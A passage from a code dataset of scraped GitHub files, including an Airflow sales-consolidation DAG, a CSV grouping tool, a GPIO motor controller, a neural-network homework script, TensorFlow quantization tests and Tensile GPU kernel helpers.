chars\n                if re.search(r'fail', match.groupdict()['ruleresult']):\n                    oscap_eval_fails += \"\\n\"\n                    oscap_eval_fails += match.groupdict()['ruleblock']\n                    oscap_eval_fails += \"\\n\"\n\n        return oscap_eval_success, oscap_eval_fails\n","repo_name":"shaneboulden/tssc-python-package","sub_path":"tssc/step_implementers/shared/openscap_generic.py","file_name":"openscap_generic.py","file_ext":"py","file_size_in_byte":26461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"12574588406","text":"from datetime import timedelta\n\nfrom airflow import DAG\nfrom airflow.hooks.mysql_hook import MySqlHook\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.sensors.external_task_sensor import ExternalTaskSensor\nfrom airflow.utils.dates import days_ago\nfrom structlog import get_logger\nimport pandas as pd\n\nlogger = get_logger()\n\n\nQUERY = \"\"\"\nSELECT \n    year_id, month_id, SUM(sales) AS sales_amount\nFROM\n    test.sales\nGROUP BY 1 , 2\n\"\"\"\nCONNECTION_DB_NAME = 'mysql_db'\n\ndef etl_process(**kwargs):\n    logger.info(kwargs[\"execution_date\"])\n    mysql_connection = MySqlHook(mysql_conn_id=CONNECTION_DB_NAME).get_sqlalchemy_engine()\n\n    df = pd.read_sql(QUERY, con=mysql_connection, coerce_float=False)\n\n    with mysql_connection.begin() as connection:\n        connection.execute(\"DELETE FROM test.consolidate_sales WHERE 1=1\")\n        df.to_sql(\"consolidate_sales\", con=connection, schema=\"test\", if_exists=\"append\", index=False)\n\n    logger.info(f\"Rows inserted {len(df.index)}\")\n\n\n\ndag = DAG('consolidate_dag', description='Dag to Consolidate Sales',\n          default_args={\n              'owner': 'obed.espinoza',\n              'depends_on_past': False,\n              'max_active_runs': 1\n          },\n          start_date=days_ago(5),\n          schedule_interval='0 0 * * *',\n          catchup=False)\n\nsensor = ExternalTaskSensor(task_id=\"sales_etl_sensor\",\n                            external_dag_id=\"sales_ingestion_dag\",\n                            external_task_id=\"sales_etl\",\n                            execution_date_fn=lambda dt: dt + timedelta(hours=1))\n\netl = PythonOperator(task_id=\"consolidate_task\",\n                     provide_context=True,\n                     python_callable=etl_process,\n                     dag=dag\n                     )\n\nsensor >> etl\n","repo_name":"obedaeg/airflow","sub_path":"dags/consolidate_dag.py","file_name":"consolidate_dag.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"6086528899","text":"import os,sys,configparser,getopt\nimport csv\n\n\n\n# 1、对单个文件按主列(gene_name (mus_musculus_ensembl_v80_Genes))对行进行分组\n# 2、对单个文件分组后的每一组按找从列(Frequency)求和\n# note:\n# 分组的原则根据主列中每一行的名字，进行归类，同名归属一组\n# 3、支持文件批量求和，从整体上看，对位于不同文件的主列进行分组，原则同上。也就是跨文件分组。\n# 4、支持合并后的分组进行求和\n\n#http://stackoverflow.com/questions/2387697/best-way-to-convert-csv-data-to-dict\n#http://www.tbk.ren/article/168.html?from=similar\n\ndef usage():\n    print('...')\n\ndef saveDataToCSV(title,data,filePath,fmt=''):\n    print(\"saving data to csv file:%s\" % filePath)\n    \n    if os.path.isfile(filePath):\n        print(\"delete old csv file:%s\" % filePath)\n        os.remove(filePath)\n    \n    file_handle = open(filePath,'w')\n    \n    if fmt=='':\n        csv_writer = csv.writer(file_handle,delimiter=' ')\n    else:\n        csv_writer = csv.writer(file_handle,delimiter=fmt)\n    \n    if len(title) >0 :\n        csv_writer.writerow(title)\n    \n    csv_writer.writerows(data)\n    \n    file_handle.close()\n    \n    print(\"saved end\")\n\ndef generateResultFilePath(dataFilePath,prefix=''):\n\t\n    print(\"generating result file path from data file path:%s\" % dataFilePath)\n    filename,fileext=os.path.splitext(os.path.basename(dataFilePath))\n    \n    if prefix=='':\n        resultFileName = 'result_'+filename+'.csv'\n    else:\n        resultFileName = 'result'+prefix+filename+'.csv'\n\n    dataFileAbsPath = os.path.abspath(dataFilePath)\n    \n    app_root_dir = os.path.dirname(os.path.dirname(os.path.abspath(sys.argv[0])))\t\n    app_data_dir = app_root_dir + os.sep + APP_DATA_DIRNAME+os.sep\n    app_result_dir = app_root_dir + os.sep + APP_RESULT_DIRNAME+os.sep\n    \n    result_tmp_dirstr = os.path.dirname(dataFileAbsPath).replace(app_data_dir,'')\n    \n    resultFileDir = os.path.join(app_result_dir,result_tmp_dirstr)\n\n    if not os.path.exists(resultFileDir):\n        print(\"create directory:%s \" % resultFileDir)\n        os.makedirs(resultFileDir)\n    \n    resultFilePath = os.path.join(resultFileDir,resultFileName)\n    print(\"result file path is:%s\" % resultFilePath)\n    print(\"generated end\")\n\n    return resultFilePath\n\ndef setSumResultPath(groupColumn,followColumn):\n    print(\"setting sum result path\")\n    result_tmp_dirstr = os.path.dirname(os.path.abspath(sys.argv[0]))\t\n    \n    result_filename = 'g'+groupColumn+'_'+'f'+followColumn+'_'+'sum'\t\n    result_filename +='.csv'\n    \n    sumResultPath = os.path.join(result_tmp_dirstr,APP_TOOLS_RESULT_DIRNAME,result_filename)\n    \n    print(\"sum result path is:%s\" % sumResultPath )\n    print(\"set end\")\n\n    return sumResultPath\n\n\ndef sumByGroup(sumParams):\n    print(\"start acting\")\n\n    input_path=sumParams['input_path']\n    groupColumnIndex=sumParams['group_column']\n    followColumnIndex=sumParams['follow_column']\n\n    csvDictData={}\n  \n    if os.path.isdir(input_path):\n        print(\"result file is a directory:%s\" % input_path)\n        for root,dirs,files in os.walk(os.path.abspath( input_path)):\n            for file in files:\n                filename,fileext=os.path.splitext(file)\n                if fileext=='.csv':\n                    singleFileData = []\n                    resultfileabspath = root+os.sep+file\t\t\t\t\t\n                    ##\n                    print(resultfileabspath)\n                    \n    elif os.path.isfile(input_path):\n        print(\"input file is a single file:%s\" % input_path)\n        resultfileabspath = os.path.abspath(input_path)\n        singleFileData = []\n        ## \n        print(resultfileabspath)\n\n\n\ndef main():\n    try:\n        opts,args = getopt.getopt(sys.argv[1:],\"hi:g:f:\",[\"--help=\",\"--input=\",\"--group=\",\"--follow=\"])\n    except getopt.GetoptError as err:\n        print(err) \n        usage()\n        sys.exit(2)\n\n    sumParams = {\n        'input_path':'',\n        'group_column':'',\n        'follow_column':''\n    }\n\n\n\n    for opt,arg in opts:\n        if opt in ('-h',\"--help\"):\n            usage()\n            sys.exit()\n        elif opt in ('-i','--input'):\n            sumParams['input_path']=arg\n        elif opt in ('-g','--group'):\n            sumParams['group_column']=arg\n        elif opt in ('-f','--follow'):\n            sumParams['follow_column']=arg\n    \n\n       \n    if sumParams['input_path'] != '':\n        sumByGroup(sumParams)\n    else:\n        sys.exit()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"hongshunyang/biotools.ucsc","sub_path":"genome/tools/_app.py","file_name":"_app.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38873375923","text":"import re\nimport json\n\n\nwhile True:\n\ts = input('>')\n\t# select id,name from book,user by where uid in (select id from book where bid <= 10);\n\t# .匹配除换行以外任何字符      + 一个或以上\n\tresult = re.match(r'\\s*select\\s*(?P<items>.+)\\s*from\\s*(?P<table_list>.+)\\s*by where\\s*(?P<judge>.*)\\s*$', s)\n\t\n\tif result:\n\t\tfor k,v in result.groupdict().items():\n\t\t\tprint(k, ': ', v)\n\telse:\n\t\tprint('None')","repo_name":"MoCuishle28/python-practice","sub_path":"DBMS_Simulate/re_test.py","file_name":"re_test.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19533448934","text":"def primeFactors(n):\n  a=[]\n  while n % 2 == 0:\n      a.append(2)\n      n = n / 2\n  for i in range(3,int(abs(n)**0.5)+1,2):\n      while n % i== 0:\n          a.append(i)\n          n = n / i\n  if abs(n) > 2:\n      a.append(abs(n))\n  return list(set(sorted(a)))\ndef sum_for_list(lst):\n  a=[[x,primeFactors(x)] for x in lst]\n  b={}\n  for x,y in a:\n    for z in y:\n      if z in b:\n        b[z]+=x\n      else:\n        b[z]=x\n  return [[x,b[x]] for x in sorted(b.keys())]\n","repo_name":"sukanthm/codeWars_solutions","sub_path":"Sum by Factors.py","file_name":"Sum by Factors.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24729947891","text":"from display_conf import run\nimport sqlite3\n\n\n@run\ndef tkgpio_main():\n    from gpiozero import LED, Button, MCP3008, Motor\n    from time import sleep\n    from Adafruit_CharLCD import Adafruit_CharLCD\n\n    work_led_TO1 = LED(16)\n    work_led_TO2 = LED(19)\n    work_led_ODZ = LED(21)\n    potenciometer1_TO1 = MCP3008(0)\n    potenciometer2_TO2 = MCP3008(2)\n    potenciometer3_ODZ = MCP3008(6)\n    motor_TO1 = Motor(22, 23)\n    motor_TO2 = Motor(26, 24)\n    motor_ODZ = Motor(20, 12)\n    lcd = Adafruit_CharLCD(2, 3, 4, 5, 6, 7, 16, 2)\n    lcd2 = Adafruit_CharLCD(8, 25, 18, 14, 17, 27, 16, 2)\n    switch_TO1 = Button(15)\n    swtich_TO2 = Button(13)\n    switch_ODZ = Button(11)\n    conn = sqlite3.connect(\n        \"C:/python_projects/praca_mgr/apps/flask_app/flask_application/instance/site.db\"\n    )\n\n    cur_slider = conn.cursor()\n    cur_checker = conn.cursor()\n\n    while True:\n        cur_checker.execute(\"SELECT * FROM checker\")\n        cur_slider.execute(\"SELECT * FROM slider\")\n\n        slider_list = cur_slider.fetchone()\n        checker_list = cur_checker.fetchone()\n\n        if checker_list[4] == \"false\":\n            if switch_TO1.is_pressed:\n                work_led_TO1.on()\n                motor_TO1.forward(potenciometer1_TO1.value)\n                lcd.clear()\n                lcd.message(\"TO1 Hz: %.2f\" % (potenciometer1_TO1.value * 50))\n\n                if swtich_TO2.is_pressed:\n                    work_led_TO2.on()\n                    motor_TO2.forward(potenciometer2_TO2.value)\n                    lcd2.clear()\n                    lcd2.message(\"TO2: %.2f\" % (potenciometer2_TO2.value * 50))\n\n                    if switch_ODZ.is_pressed:\n                        work_led_ODZ.on()\n                        motor_ODZ.forward(potenciometer3_ODZ.value)\n                    else:\n                        work_led_ODZ.off()\n                        motor_ODZ.stop()\n                else:\n                    work_led_TO2.off()\n                    work_led_ODZ.off()\n                    motor_TO2.stop()\n                    motor_ODZ.stop()\n                    lcd2.clear()\n                    lcd2.message(\"TO2 Hz: %.2f\" % (0))\n            else:\n                work_led_TO1.off()\n                work_led_TO2.off()\n                work_led_ODZ.off()\n                motor_TO1.stop()\n                motor_TO2.stop()\n                motor_ODZ.stop()\n                lcd.clear()\n                lcd.message(\"TO1 Hz: %.2f\" % (0))\n                lcd2.clear()\n                lcd2.message(\"TO2 Hz: %.2f\" % (0))\n\n        if checker_list[4] == \"true\":\n            if checker_list[1] == \"true\":\n                work_led_TO1.on()\n                motor_TO1.forward((float(slider_list[1])) / 50.0)\n                lcd.clear()\n                lcd.message(\"TO1 Hz: %.2f\" % (float(slider_list[1])))\n\n                if checker_list[2] == \"true\":\n                    work_led_TO2.on()\n                    motor_TO2.forward((float(slider_list[2])) / 50)\n                    lcd2.clear()\n                    lcd2.message(\"TO2: %.2f\" % (float(slider_list[2])))\n\n                    if checker_list[3] == \"true\":\n                        work_led_ODZ.on()\n                        motor_ODZ.forward(float(slider_list[3]) / 50)\n                    else:\n                        work_led_ODZ.off()\n                        motor_ODZ.stop()\n\n                else:\n                    work_led_TO2.off()\n                    work_led_ODZ.off()\n                    motor_TO2.stop()\n                    motor_ODZ.stop()\n                    lcd2.clear()\n                    lcd2.message(\"TO2 Hz: %.2f\" % (0))\n            else:\n                work_led_TO1.off()\n                work_led_TO2.off()\n                work_led_ODZ.off()\n                motor_TO1.stop()\n                motor_TO2.stop()\n                motor_ODZ.stop()\n                lcd.clear()\n                lcd.message(\"TO1 Hz: %.2f\" % (0))\n                lcd2.clear()\n                lcd2.message(\"TO2 Hz: %.2f\" % (0))\n\n        elif checker_list[4] == \"true\" and not switch_TO1.is_pressed:\n            work_led_TO1.off()\n            work_led_TO2.off()\n            work_led_ODZ.off()\n            motor_TO1.stop()\n            motor_TO2.stop()\n            motor_ODZ.stop()\n            lcd.clear()\n            lcd.message(\"TO1 Hz: %.2f\" % (0))\n            lcd2.clear()\n            lcd2.message(\"TO2 Hz: %.2f\" % (0))\n\n        sleep(0.05)\n","repo_name":"barteksyko/tkgpio","sub_path":"run_tkgpio.py","file_name":"run_tkgpio.py","file_ext":"py","file_size_in_byte":4385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33988223028","text":"'''Vamos converter metros para centímetros?!\n    Escreva um código que: \n        1) Solicita a quantidade de metros. \n        2) Calcula a quantidade de centímetros, com base na quantidade de metros informada. \n        3) Imprima o resultado. \n        DICAS 1)\n            1 metro tem 100 centímetros, ou seja, multiplique por 100 o valor do metro. \n            2) O valor do metro deve ser convertido para float().\n'''\n\n\nmetros = float(input('Informe a quantidade de metros: '))\nmetros_para_centimetro = lambda metros, centimetros=100: metros * centimetros\nprint(f'{metros_para_centimetro(metros)}cm')\n","repo_name":"carlosrjhoe/Python","sub_path":"Livro_Guia_prático_de_programação_python/Exercicios/exercicio_07.py","file_name":"exercicio_07.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1276639427","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sb\nimport random\nimport os\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import plot_confusion_matrix\nfrom sklearn.neural_network import MLPClassifier\n\ndata_dir = \"/Users/cameronwalcott/Dropbox/Mac/Desktop/ITP 499/Datasets\"\nalphabet = pd.read_csv(os.path.join(data_dir,\"alphabet_letters.csv\"))\n# print(alphabet.head())\n\nwords = {0:'A',1:'B',2:'C',3:'D',4:'E',5:'F',6:'G',7:'H',8:'I',9:'J',10:'K',11:'L',12:'M',13:'N',\n         14:'O',15:'P',16:'Q',17:'R',18:'S',19:'T',20:'U',21:'V',22:'W',23:'X',24:'Y',25:'Z'}\n\n\ntarget = alphabet.iloc[:,:1]\nfeatures = alphabet.iloc[:,1:]\n# print(target)\n# print(features)\n\n\n# print(features.shape)\n# print(target.shape)\n#\n#\n# plt.figure(1)\n# sb.countplot(x=\"label\", data=target)\n# plt.show()\n#\n#\nletter = features.iloc[1340,:]\nletter = np.array(letter)\nletter = letter.reshape(28,28)\nl = words[target.iloc[1340,0]]\n\n# plt.imshow(letter, cmap=\"gray\")\n# plt.title(\"The letter is \" + str(l))\n# plt.show()\n\n\nX_train, X_test, y_train, y_test = \\\n    train_test_split(features,target,test_size=0.3, random_state=2021, stratify=target)\n\n\nX_train = X_train / 255\nX_test = X_test / 255\n\n\nmlp = MLPClassifier(hidden_layer_sizes=(100,100,100), activation=\"logistic\", max_iter=5,\n                    alpha=0.0001, solver=\"adam\", random_state=2021, learning_rate_init=0.01, verbose=True)\n\n# Train the network\nmlp.fit(X_train, y_train)\n\n#Display accuracy of the test data\nprint(\"The accuracy of the test data is: \", mlp.score(X_test, y_test))\n\n# Display confusion matrix\nplot_confusion_matrix(mlp, X_test, y_test)\nplt.show()\n\n\ny_pred = mlp.predict(X_test)\nprediction = y_pred[0]\n\nrow1 = X_test.iloc[0,:]\nrow1 = np.array(row1)\nrow1 = row1.reshape(28,28)\n\nplt.imshow(row1, cmap=\"gray\")\nplt.title(\"The predicted letter is \" + str(words[prediction]) + \" and the actual letter is \" + str(words[y_test.iloc[0,0]]))\nplt.show()\n\n\n\nfailed = [i for i in range(len(y_test)) if y_test[i] != y_pred[i]]\n# f_index = failed.sample(n=1).index\n#\n# sample = np.array(X_test.loc[f_index]).reshape(28,28)\n#\n# plt.imshow(sample, cmap=\"gray\")\n# plt.title(\"The failed predicted digit is: \" + str(y_pred[f_index]) + \". The Actual digit is: \" + str(int(y_test[f_index])))\n# plt.show()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"noremac19/DS-ML","sub_path":"walcott_cameron_hw5.py","file_name":"walcott_cameron_hw5.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15936913381","text":"\nimport numpy as np\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.platform import test\nclass QuantizedOpsTest(test.TestCase):\n  def __init__(self, method_name=\"runTest\"):\n    super(QuantizedOpsTest, self).__init__(method_name)\n  def testQuantizeOp(self):\n    expected_output = [1, 1, 2, 127, 255, 255]\n    with self.session(use_gpu=False) as sess:\n      x = constant_op.constant(\n          [1.0, 1.25, 1.75, 127.0, 255.0, 500.0],\n          shape=[6],\n          dtype=dtypes.float32)\n      x_min = 0.0\n      x_max = 255.0\n      op = array_ops.quantize(x, x_min, x_max, dtypes.quint8, mode=\"MIN_FIRST\")\n      value = self.evaluate(op)\n      self.assertArrayNear(expected_output, value.output, 0.1)\n  def testDequantizeOp(self):\n    expected_output = [1.0, 2.0, 4.0, 8.0, 16.0, 255.0]\n    inp = np.array([1, 2, 4, 8, 16, 255]).astype(np.uint8)\n    with self.session(use_gpu=False) as sess:\n      x = constant_op.constant(inp, shape=[6], dtype=dtypes.quint8)\n      x_min = 0.0\n      x_max = 255.0\n      op = array_ops.dequantize(x, x_min, x_max, mode=\"MIN_FIRST\")\n      value = self.evaluate(op)\n      self.assertArrayNear(expected_output, value, 0.1)\n  def testAxis(self):\n    def scale_per_slice(shape, axis, values):\n      out = np.take(values, np.remainder(np.arange(np.prod(shape)),\n                                         len(values))).reshape(shape)\n      if axis is not None:\n        scale_shape = [1] * len(shape)\n        scale_shape[axis] = shape[axis]\n        out *= np.arange(1, shape[axis] + 1).reshape(scale_shape)\n      return out\n    shape = np.array([2, 3, 4, 5])\n    values = np.array([-1, -0.5, 0, 0.3, 0.8, 0.555, 0.5], dtype=np.float32)\n    quant_values = np.array([-128, -64, 0, 38, 102, 71, 64], dtype=np.int32)\n    for axis in [None, 0, 1, 2, 3]:\n      inputs = constant_op.constant(scale_per_slice(shape, axis, values))\n      expected_quantized = scale_per_slice(shape, None, quant_values)\n      if axis is None:\n        min_range, max_range = -1.0, 0.8\n      else:\n        num_slices = shape[axis]\n        min_range, max_range = [], []\n        for slice_idx in range(num_slices):\n          min_range.append(-1.0 * (slice_idx + 1))\n          max_range.append(0.8 * (slice_idx + 1))\n      quantized = self.evaluate(\n          array_ops.quantize(\n              inputs,\n              min_range,\n              max_range,\n              T=dtypes.qint8,\n              mode=\"SCALED\",\n              round_mode=\"HALF_TO_EVEN\",\n              axis=axis)).output\n      self.assertAllEqual(quantized, expected_quantized)\n      if axis is not None:\n        quantized = self.evaluate(\n            array_ops.quantize(\n                inputs,\n                min_range,\n                max_range,\n                T=dtypes.qint8,\n                mode=\"SCALED\",\n                round_mode=\"HALF_TO_EVEN\",\n                axis=(axis - 4))).output\n        self.assertAllClose(quantized, expected_quantized)\nif __name__ == \"__main__\":\n  test.main()\n","repo_name":"Mockingbird01001/NLG-code-generator-LSTM","sub_path":"work/data/data_model/batch_2/quantized_ops_test.py.transformed.py","file_name":"quantized_ops_test.py.transformed.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21000983810","text":"from .TensileInstructions import DataType, Label, Module, vgpr, sgpr, accvgpr, \\\n                                 Holder, SBranchIfNotZero\nfrom .TensileInstructions.Instructions import *\n\ndef allocPostLoopSrdSuppressRaw(ch: str, chAddress: str, labelStr: str, sgprLength) -> Module:\n    module = Module(\"allocPostLoopSrdSuppress\")\n    label  = Label(\"%sAddrValid\"%labelStr, \"\")\n    label2 = Label(\"%sAddrValid_End\"%labelStr, \"\")\n    # Buffer-load uses one base read pointer stored in the SRD - set it here:\n    module.add(SMovB32(dst=sgpr(\"Srd%s+0\"%ch), src=sgpr(\"Address%s+0\"%chAddress), comment=\"init SRD base address (lower)\" ))\n    module.add(SMovB32(dst=sgpr(\"Srd%s+1\"%ch), src=sgpr(\"Address%s+1\"%chAddress), comment=\"init SRD base address (upper) + other fields\" ))\n    module.add(SMovB32(dst=sgpr(\"Srd%s+3\"%ch), src=\"Srd127_96\", comment=\"Set bits 127_96 in post-loop SRD\"))\n    module.add(SBranchIfNotZero(\"Address%s\"%chAddress, DataType('int64'), label))\n    module.add(SMovB32(dst=sgpr(\"Srd%s+2\"%ch), src=0))\n    module.add(SBranch(label2.getLabelName()))\n    module.add(label)\n    module.add(SMovB32(dst=sgpr(\"Srd%s+2\"%ch), src=sgprLength))\n    module.add(label2)\n    module.addSpaceLine()\n    return module\n\ndef allocPostLoopSrdSuppress(ch: str, labelStr: str, sgprLength) -> Module:\n    return allocPostLoopSrdSuppressRaw(ch, ch, labelStr, sgprLength)\n\n##############################################################################\n# WaitCnt\n# 3 components can contribute to the waitcnt:\n#   - Pending global reads.  (skipGlobalRead)\n#   - Pending local write.  (skipLocalWrite)\n#   - Pending local reads (skipLocalRead)\n# If a skip* arg is -1, the associated component does not contribute to\n# the expected lgkmcnt or vmcnt\n##############################################################################\ndef wait(states, kernel, tPA, tPB, skipGlobalRead, skipLocalWrite, \\\n    skipLocalRead, conservativeWaitCnt: int, comment):\n    # skip = -1 -> ignore\n    # skip =  n -> waitcnt(n*num)\n\n    lgkmcnt = 0 if skipLocalWrite > -1 or skipLocalRead > -1 else -1\n\n    if skipLocalWrite > -1 or skipLocalRead > -1:\n        if skipLocalWrite > -1:\n            numA = 0 if kernel[\"DirectToLdsA\"] \\\n                   else tPA[\"nrp\"]*tPA[\"nrc\"]*max(tPA[\"nwcv\"],tPA[\"nwpv\"])//tPA[\"nwcvpi\"]\n            numB = 0 if kernel[\"DirectToLdsB\"] \\\n                   else tPB[\"nrp\"]*tPB[\"nrc\"]*max(tPB[\"nwcv\"],tPB[\"nwpv\"])//tPB[\"nwcvpi\"]\n\n            numM = 0\n            if kernel[\"ProblemType\"][\"Sparse\"] and not kernel[\"DirectToVgprSparseMetadata\"]:\n              tPM = tPA[\"tpsMetadata\"] if tPA[\"is_sparse\"] else tPB[\"tpsMetadata\"]\n              numM = tPM[\"nrp\"]*tPM[\"nrc\"]*max(tPM[\"nwcv\"],tPM[\"nwpv\"])//tPM[\"nwcvpi\"]\n            lgkmcnt += skipLocalWrite * (numA + numB + numM)\n        if skipLocalRead > -1:\n            readsPerIter = states.numReadsPerIterA + states.numReadsPerIterB + states.numReadsPerIterMetadata\n            lgkmcnt += skipLocalRead * readsPerIter\n\n    vmcnt = 0 if skipGlobalRead > -1 else -1\n    if skipGlobalRead > -1:\n        numA = kernel[\"NumLoadsPerpendicularA\"] * kernel[\"NumLoadsCoalescedA\"]\n        numB = kernel[\"NumLoadsPerpendicularB\"] * kernel[\"NumLoadsCoalescedB\"]\n        numM = 0\n        if kernel[\"ProblemType\"][\"Sparse\"] and not kernel[\"DirectToVgprSparseMetadata\"]:\n          numM = kernel[\"NumLoadsPerpendicularMetadata\"] * kernel[\"NumLoadsCoalescedMetadata\"]\n        vmcnt += skipGlobalRead * (numA + numB + numM)\n\n        # Unlike flat loads, BufferLoad do not increment the outstanding\n        # lgkmcnt\n        if lgkmcnt > -1 and not kernel[\"BufferLoad\"]:\n            lgkmcnt += skipGlobalRead * (numA + numB + numM)\n\n    if (conservativeWaitCnt & 0x2) and skipGlobalRead != -1 or \\\n       (conservativeWaitCnt & 0x4) and skipLocalWrite != -1 or \\\n       (conservativeWaitCnt & 0x8) and skipLocalRead  != -1:\n        imod = Module(\"ConservativeWaitCnt\")\n        imod.add(SWaitCnt(lgkmcnt=0, vmcnt=0, vscnt=0, comment=\"debug %s\"%comment))\n        imod.add(SBarrier(comment=\"debug\"))\n        return imod\n\n    maxLgkmcnt = states.asmCaps[\"MaxLgkmcnt\"]\n    lgkmcnt = min(lgkmcnt, maxLgkmcnt)\n    if lgkmcnt >= 0 and vmcnt >= 0:\n        vmcnt = -1 # preserve prior behavior of removing vmcnt here?\n    maxVmcnt = states.asmCaps[\"MaxVmcnt\"]\n    vmcnt = min(vmcnt, maxVmcnt)\n    # This line is added for backward compatibility\n    vscnt = vmcnt if lgkmcnt != -1 and vmcnt != -1 and states.archCaps[\"SeparateVscnt\"] else -1\n\n    waitcnt = SWaitCnt(lgkmcnt,vmcnt, vscnt, comment)\n    return waitcnt\n\n##############################################################################\n# SyncThreads\n##############################################################################\ndef syncThreads(kernel, archCaps, comment=\"\"):\n    imod = Module(\"syncThreads\")\n    if kernel[\"NumThreads\"] > kernel[\"WavefrontSize\"]:\n        if archCaps[\"SeparateVscnt\"]:\n            imod.add(SWaitCnt(lgkmcnt=\"null\", comment=\"extra navi wait\"))\n        elif kernel[\"ScheduleIterAlg\"] == 2 \\\n          or kernel[\"PrefetchGlobalRead\"] == 2:\n            imod.addComment(\"Skip force waitcnt0\")\n        elif archCaps[\"Waitcnt0Disabled\"]:\n            # FIXME: should we add s_waitcnt_vscnt?\n            imod.add(SWaitCnt(lgkmcnt=0, vmcnt=0, vscnt=-1, comment=\"force waitcnt0\"))\n\n        imod.add(SBarrier(comment=comment))\n    else:\n        imod.addComment(\"Skip barrier: NumThreads=%s\"%(kernel[\"NumThreads\"]) + \\\n                comment)\n    return imod\n\ndef _getAccToArchInfo(kernel):\n  matrixInstM  = (kernel[\"MatrixInstM\"] * kernel[\"MatrixInstBM\"]) if (kernel[\"MatrixInstM\"] == 4) else kernel[\"MatrixInstM\"]\n  matrixInstN  = (kernel[\"MatrixInstN\"] * kernel[\"MatrixInstBN\"]) if (kernel[\"MatrixInstN\"] == 4) else kernel[\"MatrixInstN\"]\n  matrixInstBM = 1                                                if (kernel[\"MatrixInstM\"] == 4) else kernel[\"MatrixInstBM\"]\n  matrixInstBN = 1                                                if (kernel[\"MatrixInstN\"] == 4) else kernel[\"MatrixInstBN\"]\n\n  OutputsPerMFMA1B = matrixInstM * matrixInstN // kernel[\"WavefrontSize\"]\n  VectorWidth0     = kernel[\"VectorWidthA\"]\n  outerTT0         = kernel[\"MIWaveTile\"][0] // VectorWidth0\n  VectorWidth1     = kernel[\"VectorWidthB\"]\n  outerTT1         = kernel[\"MIWaveTile\"][1] // VectorWidth1\n  return matrixInstBM, matrixInstBN, OutputsPerMFMA1B, VectorWidth0, VectorWidth1, outerTT0, outerTT1\n\ndef getAccToArchLen(kernel):\n  matrixInstBM, matrixInstBN, OutputsPerMFMA1B, VectorWidth0, VectorWidth1, outerTT0, outerTT1 = _getAccToArchInfo(kernel)\n  return (outerTT1 * outerTT0 * matrixInstBN * matrixInstBM * OutputsPerMFMA1B * VectorWidth0 * VectorWidth1)\n\n##############################################################################\n# accToArchMapper\n# Provides forward (acc2arch) and backward (arch2acc) index transformation\n#  - Forward transformation is currently used for acc->vgpr copying\n#  - Backward transformation is used in ShiftVectorComponent() to map logical\n#    C-tile index back to original acc index\n##############################################################################\ndef accToArchMapper(kernel):\n  acc2arch = dict()\n  arch2acc = dict()\n\n  matrixInstBM, matrixInstBN, OutputsPerMFMA1B, VectorWidth0, VectorWidth1, outerTT0, outerTT1 = _getAccToArchInfo(kernel)\n\n  for wgIdx1 in range(0, outerTT1):\n    for wgIdx0 in range(0, outerTT0):\n      for bIdx1 in range(0, matrixInstBN):\n        for bIdx0 in range(0, matrixInstBM):\n          for tIdx in range(0, OutputsPerMFMA1B):\n            for vw1 in range(0, VectorWidth1):\n              for vw0 in range(0, VectorWidth0):\n                src, dst = 0, 0\n                if kernel[\"SourceSwap\"]:\n                  src = tIdx + OutputsPerMFMA1B * (bIdx0 + matrixInstBM * (bIdx1 + matrixInstBN * (vw0 + VectorWidth0 * (wgIdx0 + outerTT0 * (vw1 + VectorWidth1 * (wgIdx1))))))\n                  dst = vw0 + VectorWidth0 * (bIdx0 + matrixInstBM * (wgIdx0 + outerTT0 * (vw1 + VectorWidth1 * (tIdx + OutputsPerMFMA1B * (bIdx1 + matrixInstBN * (wgIdx1))))))\n                else:\n                  src = tIdx + OutputsPerMFMA1B * (bIdx1 + matrixInstBN * (bIdx0 + matrixInstBM * (vw0 + VectorWidth0 * (wgIdx0 + outerTT0 * (vw1 + VectorWidth1 * (wgIdx1))))))\n                  dst = vw0 + VectorWidth0 * (tIdx + OutputsPerMFMA1B * (bIdx0 + matrixInstBM * (wgIdx0 + outerTT0 * (vw1 + VectorWidth1 * (bIdx1 + matrixInstBN * (wgIdx1))))))\n                acc2arch[src] = dst\n                arch2acc[dst] = src\n  return acc2arch, arch2acc\n\ndef accVgprImagNumOffset(kernel):\n  acc2arch, _ = accToArchMapper(kernel)\n  return len(acc2arch) * kernel[\"MIRegPerOut\"]\n\n##############################################################################\n# MapAcctoArch\n# function to map MFMA Acc  Registers to Arch VGPR register\n##############################################################################\ndef mapAcctoArchRegs(kernel):\n  acc2arch, _ = accToArchMapper(kernel)\n\n  complexMultiplier = 2 if kernel[\"ProblemType\"][\"DataType\"].isComplex() else 1\n  imod = Module(\"AccVgprRead\")\n  imod.itemList = [None] * kernel[\"MIRegPerOut\"] * complexMultiplier * len(acc2arch)\n  accImOffset = accVgprImagNumOffset(kernel)\n  for i in range(len(acc2arch)):\n    for cm in range(complexMultiplier):\n      for r in range(kernel[\"MIRegPerOut\"]):\n        destIdx = (acc2arch[i]*complexMultiplier + cm) * 